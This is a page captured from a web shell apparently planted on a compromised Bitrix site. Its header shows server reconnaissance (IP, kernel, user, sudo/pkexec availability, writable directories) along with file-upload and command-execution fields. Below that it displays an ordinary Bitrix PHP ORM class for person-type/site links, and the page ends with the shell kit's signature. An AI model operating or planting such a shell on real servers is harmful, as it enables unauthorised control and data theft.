403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/internals/persontypesite.php
<?php
namespace Bitrix\Sale\Internals;

use Bitrix\Main,
	Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

/**
 * Class PersonTypeSiteTable
 *
 * Fields:
 * <ul>
 * <li> PERSON_TYPE_ID int mandatory
 * <li> SITE_ID string(2) mandatory
 * </ul>
 *
 * @package Bitrix\Sale
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_PersonTypeSite_Query query()
 * @method static EO_PersonTypeSite_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_PersonTypeSite_Result getById($id)
 * @method static EO_PersonTypeSite_Result getList(array $parameters = [])
 * @method static EO_PersonTypeSite_Entity getEntity()
 * @method static \Bitrix\Sale\Internals\EO_PersonTypeSite createObject($setDefaultValues = true)
 * @method static \Bitrix\Sale\Internals\EO_PersonTypeSite_Collection createCollection()
 * @method static \Bitrix\Sale\Internals\EO_PersonTypeSite wakeUpObject($row)
 * @method static \Bitrix\Sale\Internals\EO_PersonTypeSite_Collection wakeUpCollection($rows)
 */

class PersonTypeSiteTable extends Main\Entity\DataManager
{
	/**
	 * Returns DB table name for entity.
	 *
	 * @return string
	 */
	public static function getTableName()
	{
		return 'b_sale_person_type_site';
	}

	/**
	 * Returns entity map definition.
	 *
	 * @return array
	 */
	public static function getMap()
	{
		return [
			'PERSON_TYPE_ID' => [
				'data_type' => 'integer',
				'primary' => true,
			],
			'SITE_ID' => [
				'data_type' => 'string',
				'primary' => true
			],
		];
	}

	public static function deleteByPersonTypeId($personTypeId)
	{
		$result = new Main\ORM\Data\DeleteResult();

		$dbRes = static::getList([
			'select' => ['PERSON_TYPE_ID', 'SITE_ID'],
			'filter' => [
				'=PERSON_TYPE_ID' => $personTypeId
			]
		]);

		while ($item = $dbRes->fetch())
		{
			$r = static::delete([
				'PERSON_TYPE_ID' => $personTypeId,
				'SITE_ID' => $item['SITE_ID'],
			]);

			if (!$r->isSuccess())
			{
				$result->addErrors($r->getErrors());
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit